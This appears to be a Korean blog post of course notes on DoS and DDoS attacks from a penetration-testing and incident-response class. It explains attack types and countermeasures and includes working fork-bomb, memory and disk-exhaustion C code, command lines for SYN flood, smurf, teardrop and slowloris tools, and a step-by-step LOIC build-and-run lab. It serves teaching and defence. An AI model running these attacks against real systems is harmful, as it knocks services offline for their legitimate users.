20160822 DoS, DDoS, SNORT
DoS(Denial of Service) & DDoS(Distributed DoS)
■ 보안 이슈 관련 단어
DoS/DDoS, DB Attack, APT Attack , SPAM MAIL, WEB Hacking, Wireless Hacking
+ Big Data Security + IoT Security
■ 이전에 배운 과정들에 대한 정리
DoS/DDoS ---> Firewall ---> IPS/IDS ---> WAF ---> WEB Server(SELinux)
1. DoS & DDoS 용어
DoS(Denial of Service) 공격(1:1)
● 서비스 거부 공격: 공격자가 호스트의 H/W 또는 S/W 등을 무력하게 만들어 호스트에서 적법한 사용자의 서비스 요구를 거부하도록 만드는 일련의 과정이다.
DDoS(Distributed Denial of Service) 공격(N:1)
● 분산 서비스 거부 공격: 네트워크로 연결된 분산 환경에서 여러대의 컴퓨터를 이용하여 한대의 공격대상 시스템에 대한 DoS 공격 ( EX: BotNet )
2. DoS 공격의 특징
● 관리자 권한(EX: root)을 획득하는 것이 아니다.
● 데이터를 파괴 혹은 변조 혹은 훔쳐가는 것을 목적으로 하지 않는다.
● 공격의 원인이나 공격자를 추적하기 힘들다.
● 공격시 해결하기 힘들다.
● 매우 다양한 공격 방법들이 가능하다.
● 같은 공격에 대해서 각 시스템마다 결과가 다르게 나타날수 있다.
● 다른 공격을 위한 사전 공격으로 사용될수 있다.
● 사용자의 실수로 발생될수 있다.
● 금전을 요구하는 사회 범죄 형태로 전이 되었다.
3. DoS 공격의 유형
(1) 내부 공격
공격의 형태
● 시스템이 보유하고 있는 리소스를 점유하거나 모두 고갈시킴으로서 시스템 마비 발생
● 계정을 가진 내부 사용자에 의해 발생(EX: 로컬 계정을 가진 악의적인 사용자)
● 고의보다는 실수로 인해 발생(EX: 개발자에 의한 경우)
공격의 종류
● 디스크 채우기(EX: 디스크 full)
● 메모리 고갈(EX: 메모리 leak)
● 프로세스 만들기(EX: 많은 프로세스 생성)
(2) 외부 공격
공격의 형태
● 특정 포트를 사용하는 서비스를 마비 시킴(EX: 서비스 거부 공격)
● 네트워크 기능 자체를 오동작 시킴
공격의 종류
● 응용 프로그램 수준
- Mail Bomb
- Buffer Overflow
- Java Applet Attack
● 프로토콜 수준
- SYN Flooding
- Ping Flooding
- Smurfing Attack
● 네트워크 수준
- UDP Storming
- 네트워크 Bandwidth 공격
4. 트래픽 구성에 따른 DDoS 공격 유형 분석
순위 | 프로토콜 | 공격유형 | 점유율 |
1 | UDP | 악성 IRC Bot Flooding Source Spoofing | 70% 5% |
2 | ICMP | Fragementation Attack | 10% |
3 | Garbage Packet | Opentear, Fragement | 7% |
4 | Service Attack | GET/POST DDoS Attack | 8% |
-> UDP를 통한 악성 IRC BOT 공격이 DDoS의 주류를 이루고 있고, 프로토콜 중 UDP가 전체 DDoS에 약
70% 이상이다..
■ 공격 구분 - 피해 대상별
구분 | 접속량 증가 | 대용량 트래픽전송 | ||
PPS Consuming | Connection Consuming | Application Consuming | Bandwidth/Infra Consuming | |
프로토콜 | TCP (Non-handshake) | TCP (Handshake) | HTTP, DNS, VoIP, DHCP | UDP/ICMP |
공격PC위치 | 국내/국외 | 국내/국외 | 국내/국외 | 국내 |
IP변조여부 | 변조/실제 IP | 실제 IP(Zombie) | 실제 IP(Zombie) | 변조/실제 IP |
공격유형 | 64 bytes 이하 수십/백만 PPS | 64 bytes 수십/백만 PPS | http cache-control DNS Query Flooding 등 | 1000 ~ 1500 bytes 수십만 PPS |
공격효과 | 네트워크 장비, 보안 장비, 서버 등의 부하 발생 | 웹 서버 접속 고갈 발생 | 서버 접속 고갈 발생 | 회선 대역폭 초과 |
피해시스템 | 공격 대상 시스템 또는 동일 네트워크에서 사용 중인 모든 시스템 | 공격 대상 서버 | Application | 동일 네트워크에서 사용중인 모든 시스템 |
■ 서버 기반 DDoS 공격
(예전)
● 접속량 고갈(L7 공격) => 서버/응용프로그램
● 응용 계층 공격
- http request flooding, CC Attack, VoIP 등 특정 응용층에 대한 공격으로 정당한 사용자의 서
비스를 제한
- 공격(대상응용계층만 서비스 제한, 동일네트워크내의 시스템은 정상
- 공격 트래픽의 양이 매우적고, 다른 응용계층은 정상 동작
(현재)
● 접속량 고갈(L7 공격) + 대역폭 고갈(L4 공격) => 네트워크/응용/인프라
● 응용/인프라 계층 공격
- http request bomb, DDoS evasion attack
- 응용계층 공격에 비정상적인 데이터 필드를 더하여 공격
- Real IP를 이용하여 최초 정상 Handshake 후 대량 공격
- 공격 트래픽의 양이 매우 많고, 모든 인프라 파괴
- 다중 Flow(Mixed Attack)이 아닌 싱글 Flow로 효과 증대
■ 대역폭(네트워크 회선) 기반 DDoS 공격
(예전)
● 대역폭 고갈(L3/L4 공격) => 네트워크/인프라
● L3/L4 계층 공격
- UDP/ICMP Flooding
- 네트워크/인프라를 공격하여 모든 외부의 요청을 차단 및 지연 시키는 특성
- 공격 대상 서비스 제한, 동일 네트워크내의 시스템 제한
- 공격트래기의 양이 매우 많고, 모든 계층의 통신 불능 상태 유발
(현재)
● 실존트래릭 유사(L3/L4 공격) + 대역폭 고갈 => 네트워크/응용/인프라
- Real dump attack, DDoS Evasion Attack
- UDP, ICMP Fragementation Attack으로 전이
- VoIP의 경우 실제 패킷과 동일한 수준의 패킷을 대량 전송
- DNS의 경우 정상쿼리 전송
- L3/L4에서 응용계층으로 공격 전이
5. 공격 방법 기술 분석
■ UDP DDoS Attack Sample
-> 1000 bytes 데이터
■ ICMP DDoS Attack Sample
-> 1480 bytes 데이터
■ Syn Flood DDoS Attack Sample
-> 헤더만 존재
■ No-cache Get Flood DDoS Attack Sample
-> 헤더만 존재
■ Data + Ack Flooding DDoS Attack Sample
-> 데이터만 존재
소스 IP/Port = 랜덤(random)
목적 IP/Port = 고정
데이터 = 삽입(1460 bytes)
■ Connection + Syn Flooding DDoS Attack Sample
-> 헤더만 존재
No-cache Get Food
Syn Flooding
6. 공격 방법 구현 실습
■ Local Attack(System Resource Exhaustion Attack)
● 공격 기법(디스크 자원 고갈)
● 공격 원리
- 임의의 파일을 생성한 후 계속해서 파일의 크기를 증가 시켜 디스크를 쓸모 없는 데이터로 채우는 공격기법
● 공격 코드 및 실행 방법
# vi disk_attack.c
#include <unistd.h> #include <sys/file.h>
void main() { int attack; char buf[10000]; attack = create("root/temfile",0777); while(1) write(attack,buf,sizeof(buf)); } |
# gcc -o disk_attack disk_attack.c
# ./disk_attack
● 해결점
- 문제의 프로세스를 찾아 종료
- 각 사용자에 대한 quota 설정
- 공용 디렉토리(/tmp, /var/tmp)에 대하여 독립적인 파티션으로 구성
■ Local Attack(System Resource Exhaustion Attack)
● 공격 기법(메모리 고갈)
● 공격 원리
- 하나의 프로세스가 시스템에서 사용 가능한 모든 메모리 리소스를 고갈시킴으로서 시스템을 마비시키는 공격 기법
● 공격 코드 및 실행 방법
# vi memory_attack.c
#include <stdio.h>
void main() { char *c; while(1) c=malloc(1000); } |
# gcc -o memory_attack memory_attack.c
# ./memory_attack
● 해결책
- 각 사용자에 대한 최대 메모리 사용량을 제한한다.
- ulimit CMD, /etc/security/limits.conf
■ Local Attack(System Resource Exhaustion Attack)
● 공격 기법(프로세스 자원 고갈)
● 공격 원리
- 프로세스를 계속 만들어서 시스템 리소스를 고갈시킴으로서 시스템을 마비시키는 공격 기법
● 공격 코드 및 실행 방법
# vi process_attack.c
#include <stdio.h> #include <unistd.h>
void main() { while(1) fork(); } |
# gcc -o process_attack process_attack.c
# ./process_attack
● 해결책
- 사용자마다 생성 가능한 최대 프로세스의 수를 제한한다.
- ulimit CMD, /etc/security/limits.conf
■ Remote Attack
● 공격 기법(SYN Flooding 공격)
● 공격 원리
- IP Spoofing을 이용하여 half-open TCP 연결을 시도하여 상대 호스트의 Listening Queue를 고갈 시키는 방법
- [그림] 공격에 대한 예제 그림
● SYN Flooding 공격에 대해서
- Syn Flooding 공격은 TCP 프로토콜의 연결 설정 절차의 설계상의 취약성으로 인해 발생되는 것으로서 이에 대한 완전한 해결책은 없다고 봐야 한다.
- 피해를 감애하거나 최소화 하기 위햐서 Anti DDoS 솔류선이나 거대 백본을 가진 Secure IDC로 서버들을 이전하여 임시 대응하는 상황이다.(Real-DDoS의 경우 또는 Spoofed DDoS)
● 공격용 툴
(윈도우용) Hgod(http://www.cnhonker.com)
Hgod 툴의 기능
- Spoofed/Non Spoofed Syn Flooding
- Spoofed/Non Spoofed UDP Flooding
- Spoofed/Non Spoofed ICMP/IGMP Flooding
- DrDoS
(리눅스용) Synk4(http://packetstorm.security.com/new-exploits/synful.c)
(http://user.cs.tu-berlin.de/~tqiu/exploits/synk4.c)
● 해결책
- 백 로그 큐의 크기를 증가, Half-Open Time을 적게 한다.
# netstat -an
or
wireshark 패킷 캡쳐
■ Remote Attack
● 공격기법(Ping of Death)
● 공격 원리
- ping을 이용하여 ICMP 패킷을 정상적인 크기보다 매우 크게 만들어 네트워크를 통과할 때 공격 네트워크에 도달하기 위해서는 단편화(Fragementation)이 되는데 이러한 경우 공격 대상 시스템은 이렇게 작은 조각 패킷을 처리하기 위하여 많은 로드가 발생되게 되는데 이른 노린 공격 방법이다.
# ping -n 10000 -l 65500 <Vitim's IP>
■ Remote Attack
● 공격기법(ICMP Smurfing)
● 공격 원리
- ICMP 프로토콜과 IP Broadcast 주소를 이용한 공격 기법
- Broadcast 로의 echo request를 보내 대량의 echo reply를 임의의 주소로 집중 전송되게 하는 원리
- [그림] 공격에 대한 예제 그림
● 공격용 툴
smurf.c(http://packetstormsecurity.org/DoS/spike.sh.zip)
Hgod 프로그램을 사용하여 소스를 공격 대상 IP로 설정(IP Spoofing) 하고 대상자 네트워크를 공격하여야 한다.
# ./smurf <Victim's IP> bcastfile 0 5 64
● 해결책
- Smurfing의 차단 방법은 모든 라우터의 내부(LAN쪽) interface 마다 Directed Broadcast 기능을 막아 준다.
- 자신의 내부 측(EX: 192.168.0.255)의 주소로 ICMP echo의 요청이 들어가지 못하도록 한다.
■ Remote Attack
● 공격기법(Bonk/Boink, Teardrop)
● 공격원리
- 여러가지 프로토콜은 기본적으로 신뢰성을 높이고자 하는 목적을 가지고 있다. 신뢰성은 다음의 세가지로 크게 생각할 수 있다.
* 패킷의 순서가 올바른가?
* 중간에 손실된 패킷은 없는가?
* 손실된 패킷의 재전송 요구
- Bonk/Boink, TearDrop은 위의 사항을 위반함으로써 공격 대상 시스템에 DoS 공격을 가하게 된다.
- (Bonk 공격) Bonk는 처음 패킷을 1번으로 보낸 후 두번째, 세번째 패킷 모두 시퀀스 넘버를 1번으로 조작하여 공격
- (Boink 공격) Bonk의 개량 버전인 Boink는 처음 패킷을 1번으로 보낸 후 두번째 패킷은 101번, 세번째 패킷은 201번으로 정상적으로 보내다가 중간에서 일정한 시퀀스 넘버로 보낸 후 열번째 패킷은 1001번, 열한번째 패킷도 1001번, 열두번째 패킷도 1001번으로 전송
- (TearDrop 공격) TearDrop은 패킷을 겹치게 또는 일정한 간격의 데이터가 빠지게 전송한다. Teardrop은 IP 패킷의 전송이 잘게 나누어졌다가 다시 재 조합하는 과정의 약점을 악용한 공격이다. 보통 IP 패킷은 하나의 큰 자료를 잘게 나누어서 보내게 되는데 이때 offset을 이용하여 나누었다가 도착지에서 offset을 이용하여 재 조합하게된다. 이때 동일한 offset을 겹치게 만들면 시스템은 교착되거나 충돌을 일으키거나 재기동된다. 과거 윈도우 95 버전에서 발생되었던 문제이다. 그러나 현재도 네트워크나 시스템에 큰 오버헤드를 발생시킨다.
- [그림] 공격에 대한 예제 그림
정상적인 패킷 전송
==============================================================================
시퀀스번호 (1) (101) (201) (301) (401)
| | | | |
|<-----> | | | |
| |<-----> | | |
| | |<-----> | |
| | | |<-----> |
| | | | |
==============================================================================
비정상적인 패킷 전송
==============================================================================
시퀀스번호 (1) (101) (201) (301) (401)
| | | | |
|<-----> | | | |
| <-------> | | |
| (81) | (181)| (221) | (321) |
| | | <-----> |
| | | <-------> |
| | | (251)| (351) |
==============================================================================
● 공격방법
# ./newtear <공격IP> <대상IP> -s <소스포트> -t <대상포트> -n <공격개수>
■ Remote Attack
● 공격기법(LAND Attack) ( loop )
● 공격원리
- 패킷을 전송할 때 출발지 IP 주소와 목적지 IP 주소값을 공격자의 IP 주소값으로 똑같이 만들어서 공격 대상에게 보낸다. 시스템은 처음 시도된 Syn에 대한 Reply 패킷을 출발지 IP 주소 값을 참조하여 그 값을 목적지 IP 주소 값으로 설정하여 패킷을 보낸다. 하지만 이 값은 자기 자신의 IP 주소 값이므로 네트워크 밖으로 나가지 않고 자신에게 다시 돌아온다. 이 공격 방법은 Syn Flooding 처럼 동시 사용자 수를 점유 해버리며 CPU 부하까지 올리게 된다.
- [그림] 공격에 대한 예제 그림
● 공격방법
- synk4를 이용하여 소스와 목적지 주소를 동일하게 세팅하여 공격
# ./synk4 192.168.1.100 30 1024 192.168.1.100 21
-> wireshark 패킷 캡쳐 분석
■ Remote Attack
● 공격기법(Win Nuke)
● 공격원리
- 상대방 시스템에 139번 포트를 스캔하여 열려 있는지 확인하고 NetBIOS 패킷에 URG(Urgent)를 On 상태로 하여 패킷을 전송한다. URG가 On 상태는 송수신 중간에 발생할 수 있는 비정상적인 상태를 의미한다. 서비스 중 <CTRL + Break> 또는 <CTRL + C>와 같은 역할을 한다.
- 공격 대상은 수 많은 Urgent 패킷을 인식하고 모든 시스템의 세션을 닫은 뒤 재 연결을 요구하게 된다. 이때 CPU에 과부하가 걸리게 된다. 이 공격은 심한 경우 시스템이 손상되기도 한다.
● 공격툴
- Wnuke5(winnuke.c)
● Win Nuke 공격에 대해서
- 일반적으로 Out-of-band 플래그가 Padding된 패킷을 전송하게 되는데 윈도우 NT 박스 계열에서는 TCPIP.sys 모듈에서 Stop 0x0000000A를 발생 시키며 중단된다.
■ Remote Attack
● 공격기법(UDP Flooding) - 현재도 공격가능
● 공격원리
- 대역폭 고갈을 위한 공격을 가장 많이 사용되는 DoS, DDoS 공격이다. UDP Body에 Garbage Data를 Padding 하여 공격한다.
● 공격툴
- UDP Flooder 2.00
■ Remote Attack
● 공격기법(Out of Band Flooding)
● 공격원리
- 일반적인 TCP/IP 세션을 연결하기 위한 과정에서 발생하는 TCP Flag를 제외하거나 비정상적인 순서로 발생되는 Flag의 조합을 통한 DDoS, DoS 해킹 공격
● 공격툴
- stream3.c
stream3.c 기능
* SYN Flooding
* NULL Flooding
* FIN Flooding
* ACK Flooding
* PUSH Flooding
* RST Flooding
* FIN/ACK Flooding
* XMAS Flooding
■ Remote Attack
● 공격기법(DDoS Ping)
● 공격원리
● 공격툴
- DDoSPing 1.03(Trinoo)
■ Remote Attack
● 공격기법(Mail Bomb) - 현재도 많이 사용된다.
● 공격원리
- Mail Bomb은 흔히 폭탄 메일이라고 한다. 스팸 메일도 이와 같은 종류이다. 메일서버는 각 사용자에게 일정한 양의 디스크 공간을 할당하는데, 메일이 폭주하여 디스크 공간을 가득 채우면 정작 받아야 하는 메일을 받을 수 없게 된다. 이때문에 스팸 메일은 DoS 공격이 될수 있다.
● 공격툴
- 윈도우용 Mail Bomber Upyours(Digital Dominace(c) 1997 -=Glbal kOS=-- [Up Yours 4.0])
■ Remote Attack
● 공격기법(Checksum Error Flodding)
● 공격원리
- Checksum은 패킷내에 하나의 필드로 구성하며 데이터를 이진수(Binary Number)의 연속으로 간주하여 그 이진수의 합을 계산하는 방법이다. 예를 들어 16 bits checksum을 사용하는 경우 데이터를 16 bits씩 나누어 16진수로 표현한 다음 그 합을 계산하여 16으로 나눈 나머지에 해당되는 값을 checksum으로 사용하는 방법이다.
- 정확하지 않은 checksum값을 대량으로 보내 시스템이나 네트워크에 성능(Performance)에 영향을 미친다.
-----------------------------------
h e l l o w o r l d .
-----------------------------------
48 65 6c 6c 6F 20 77 6F 72 6C 64 2E
-----------------------------------
4865 + 6C6C + 6F20 + 776F + 726C + 642E + carry = 71FC
● 공격툴
- 윈도우용 Mail Bomber Upyours(Digital Dominace(c) 1997 -=Glbal kOS=-- [Up Yours 4.0])
■ Remote Attack
● 공격기술(IP Checksum Error)
● 공격원리
- IP 헤더의 checksum 값이 틀린 패킷을 다량으로 보내서 대상 서버를 다운시키거나 정상적인 서비스가 불가능하게 한다.
● 공격방법
# ./ipchksum <소스IP> <타켓IP> <포트>
■ Remote Attack
● 공격기술(ICMP Checksum Error)
● 공격원리
- ICMP 헤더의 checksum 값이 틀린 패킷을 다량으로 보내서 대상 서버를 다운시키거나 정상적인 서비스가 불가능하게 한다.
● 공격방법
# ./icmpchecksum <소스IP> <타켓IP> <포트>
■ Remote Attack
● 공격기술(UDP checksum Error)
● 공격원리
- UDP 헤더의 checksum 값이 틀린 패킷을 다량으로 보내서 대상 서버를 다운시키거나 정상적인 서비스가 분가능하게 한다.
● 공격 방법
# ./udpchksum <target> <bcast file> <num packets> <packet delay> [dstport] [srcport] [psize]
■ Remote Attack
● 공격기술(botnet)
● 공격원리
- Robot의 줄임말로 감염된 컴퓨터(Zombie, Hacker Army, troop)는 공격자(Bot Master, Bot C & C)에 의해 조종됨. 취약한 서버들이 주로 C & C(Command and Control Server)로 악용
- 악성 프로그램 유포, 피싱/SPAM 메일 방송, 개인정보 유출, AdWare 및 SpyWare 설치, 서비스 거부 공격(DoS)등 수행
공격자 -----+-----> 공격자 명령 전달 서버
+-----> 공격자 명령 전달/파일 다운로드 서버
|
|
V
좀비(Zombie PC) ......
|
|
V
타겟시스템(Target)
■ Remote Attack
● 공격기술(Netbot Attack)
● 공격원리
- 중국발 Ransom(금전요구형) DDoS 공격 툴로 널리 알려진 툴이다.
- 서버와 빌더로 이루어져 있어 빌더로 악성코드를 제작하면 서버에 좀비처럼 통제가 가능하게 된다.
- 국내 게임, 포탈등 다양한 사이트들에 대한 공격이 이루어졌다.
● 공격툴
- NB5.5Build.exe(NB 5.5)
- NetBot_Cn.exe
■ Remote Attack
● 공격기술(TCP Slow Attack) - 지금도 공격이 가능하다.
● 공격원리
- TCP Slow Attack은 2009년 7월7일 있었던 7.7 대란에 사용되었던 기법으로 여러대의 좀비 PC들이 소량의 TCP 접속만을 전송하여 정상과 비정상적인 TCP 세션 요청을 구분하기 어렵게 시도하던 공격의 일환
● 공격툴
- 윈도우용 Perl 설치(Active Perl)
- www.perlmania.or.kr:8949/pmdocs/kys/perlstart.html
- # perl sloworis.pl -dns 192.168.0.100
■ Remote Attack
● 공격기술(HTTP Get Flooding)
● 공격원리
- HTTP 서비스를 제공하고 있는 웹 서버에 직접적인 영향을 비치는 공격방법으로 다량의 접속 요청을 보내서 정상적인 접속을 요청하는 사용자들의 접속을 방해하는 공격이다.
- 1514바이트 최대 크기로 대상 사이트 공격, 데이터 영역의 문자열은 적당한 것을 사용하면 된다.
● 공격툴
- Low ORbit Lon Cannon(lolc)
[실습] LOIC(Low Orbit Ion Cannon) 툴을 사용한 DoS Attack 실습
저궤도 이온포(Low Orbit Ion Cannon)
● 네트워크 스트레스 테스트 툴이다.
● 이 소프트웨어는 많은 공공기관을 포함한 여러 웹사이트에 분산 서비스 공격을 편하게 사용할 수 있게 도와주며, anonymous에 의해 사용되면서 유명하게 되었다.
Window 2008에서 실습했음. ( dotnetframework -> LOIC )
(KaliLinux)
# apt-get update
# apt-get install git git-core monodevelop mono-mcs mono-dmcs
Couldn't find any package whose name or description matched "mondodevelop" Couldn't find any package whose name or description matched "mondodevelop" The following NEW packages will be installed: git-core The following packages will be REMOVED: libafpclient0{u} libcrypt-passwdmd5-perl{u} libmozjs24d{u} libnet-daemon-perl{u} libplrpc-perl{u} memtest86+{u} syslinux-themes-debian{u} syslinux-themes-debian-wheezy{u} xulrunner-24.0{u} 0 packages upgraded, 1 newly installed, 9 to remove and 39 not upgraded. Need to get 1,336 B of archives. After unpacking 55.9 MB will be freed. Do you want to continue? [Y/n/?] Y Get: 1 http://http.kali.org/kali/ kali/main git-core all 1:1.7.10.4-1+wheezy1 [1,336 B] Fetched 1,336 B in 7초 (180 B/s) (데이터베이스 읽는중 ...현재 366570개의 파일과 디렉터리가 설치되어 있습니다.) ..... (중략) ..... * Installing 5 assemblies from libnunit2.6-cil into Mono libnunit-cil-dev (2.6.0.12051+dfsg-2) 설정하는 중입니다 ... monodoc-base (2.10.8.1-8+deb7u1) 설정하는 중입니다 ... monodevelop (3.0.3.2+dfsg-1) 설정하는 중입니다 ... libmono2.0-cil (2.10.8.1-8+deb7u1) 설정하는 중입니다 ... libmono-cil-dev (2.10.8.1-8+deb7u1) 설정하는 중입니다 ... mono-devel (2.10.8.1-8+deb7u1) 설정하는 중입니다 ... update-alternatives: using /usr/bin/mono-csc to provide /usr/bin/cli-csc (c-sharp-compiler) in 자동 모드 update-alternatives: using /usr/bin/resgen to provide /usr/bin/cli-resgen (resource-file-generator) in 자동 모드 update-alternatives: using /usr/bin/al to provide /usr/bin/cli-al (assembly-linker) in 자동 모드 update-alternatives: using /usr/bin/sn to provide /usr/bin/cli-sn (strong-name-tool) in 자동 모드 menu에 대한 트리거를 처리하는 중입니다 ... |
-> 설치 에러가 발생하면 다시 실행하면 된다.
# mkdir /loic
# cd /loic
# wget https://raw.github.com/nicolargo/loicinstaller/master/loic.sh
-> 출력 내용 생략
# vi loic.sh
#!/bin/bash # Copyfuck © 2010 q # # This script installs, updates and runs LOIC on Linux. # # Supported distributions: # * Ubuntu # * Debian # * Fedora # # Usage: bash ubuntu_loic.bash <install|update|run> #
GIT_REPO=http://github.com/NewEraCracker/LOIC.git GIT_BRANCH=master
DEB_MONO_PKG="monodevelop liblog4net-cil-dev" FED_MONO_PKG="mono-basic mono-devel monodevelop mono-tools"
..... (중략) ....
case $1 in install) compile_loic ;; update) update_loic ;; run) run_loic ;; *) echo "Usage: $0 <install|update|run>" ;; esac |
[참고] 필요하면 명령어 수행
# apt-get update
# apt-get upgrade
# apt-get install monodevelop mono-gmcs
[참고] 2016년 06월27일 현재 패키지가 변경되었다.
# apt-get install mono-xbuild mono-devel mono-mcs
# chmod 777 loic.sh
# ./loic.sh
Usage: ./loic.sh <install|update|run> |
# ./loic.sh install (# bash loic.sh)
/usr/bin/git MonoDevelop Build Tool Loading solution: /loic/LOIC/LOIC.sln Loading solution: /loic/LOIC/LOIC.sln Loading projects .. Building Solution: LOIC (Debug) Building: IRC (Debug) Performing main compilation... WARNING: Assembly 'log4net, Version=1.2.10.0, Culture=neutral, PublicKeyToken=1b44e1d426115821, processorArchitecture=MSIL' not found. Make sure that the assembly exists in disk. If the reference is required to build the project you may get compilation errors. /usr/bin/gmcs /noconfig "/out:/loic/LOIC/bin/Debug/IRC.dll" "/r:/usr/lib/mono/2.0/System.dll" "/r:/usr/lib/mono/2.0/System.Core.dll" /nologo /warn:4 /debug:full /optimize- /codepage:utf8 /platform:x86 "/define:DEBUG;TRACE" /t:library "/loic/LOIC/IRC/Client/Channel.cs" "/loic/LOIC/IRC/Client/ChannelUser.cs" "/loic/LOIC/IRC/Client/Delegates.cs" "/loic/LOIC/IRC/Client/EventArgs.cs" "/loic/LOIC/IRC/Client/IrcClient.cs" "/loic/LOIC/IRC/Client/IrcMessageData.cs" ..... (중략) ..... Building: LOIC (Debug) Performing main compilation... Compiling resource /loic/LOIC/frmMain.resx with /usr/bin/resgen2 Compiling resource /loic/LOIC/frmWtf.resx with /usr/bin/resgen2 Compiling resource /loic/LOIC/Properties/Resources.resx with /usr/bin/resgen2 /usr/bin/gmcs /noconfig "/out:/loic/LOIC/bin/Debug/LOIC.exe" "/r:/usr/lib/mono/2.0/System.dll" "/r:/usr/lib/mono/2.0/System.Drawing.dll" "/r:/usr/lib/mono/2.0/System.Windows.Forms.dll" "/r:/loic/LOIC/bin/Debug/IRC.dll" "/r:/usr/lib/mono/2.0/System.Core.dll" /nologo /warn:4 /debug:full /optimize- "/win32icon:/loic/LOIC/LOIC.ico" /codepage:utf8 /platform:x86 /main:LOIC.Program /t:winexe "/loic/LOIC/frmMain.cs" "/loic/LOIC/frmMain.Designer.cs" "/loic/LOIC/frmWtf.cs" "/loic/LOIC/frmWtf.Designer.cs" "/loic/LOIC/HTTPFlooder.cs" "/loic/LOIC/Program.cs" "/loic/LOIC/Properties/AssemblyInfo.cs" "/res:/loic/LOIC/frmMain.resources,LOIC.frmMain.resources" "/res:/loic/LOIC/frmWtf.resources,LOIC.frmWtf.resources" "/res:/loic/LOIC/Properties/Resources.resources,LOIC.Properties.Resources.resources" "/loic/LOIC/Properties/Resources.Designer.cs" "/loic/LOIC/XXPFlooder.cs" Compilation succeeded - 1 warning(s)
/loic/LOIC/frmMain.cs(180,59): warning CS0219: The variable `ipHost' is assigned but its value is never used
Build complete -- 0 errors, 1 warning |
# ./loic.sh update
/usr/bin/git Current branch master is up to date. /usr/bin/git MonoDevelop Build Tool Loading solution: /loic/LOIC/LOIC.sln Loading solution: /loic/LOIC/LOIC.sln Loading projects .. |
# ./loic.sh run
-> 사용방법에 대해서는 인터넷을 참고한다.
-> youtube.com 동영상을 참고한다.
"1. Select your target" 부분 -> Lock on
"2.Attack options" 부분 Method: HTTP
"3. Ready?" 부분 "IMMA CHARGIN MAH LAZER" |
-> [실습] 공격 방법을 HTTP/TCP/UDP를 선택하고 wireshark를 통해 패킷을 분석한다.
■ TCP Attack
---------------------
192.168.20.50 192.168.20.200 TCP 78 [TCP segment of a reassembled PDU]
■ UDP Attack
---------------------
192.168.20.50 192.168.20.200 QUIC 54 CID: 32, Seq: 28519
■ HTTP Attack
---------------------
192.168.20.50 192.168.20.200 TCP 74 60734→80 [SYN] Seq=0 Win=29200 Len=0 MSS=1460 SACK_PERM=1 TSval=127301 TSecr=0 WS=1024
'모의해킹 침해대응 전문가 과정' 카테고리의 다른 글
20160823 Snort on CentOS6.X (0) | 2016.08.23 |
---|---|
20160823 DoS, DDoS, SNORT (0) | 2016.08.23 |
20160822 NAS(Network Attached Storage) (0) | 2016.08.22 |
20160819 프로젝트#4 + 피드백 (0) | 2016.08.19 |
20160805 Sophos UTM (0) | 2016.08.05 |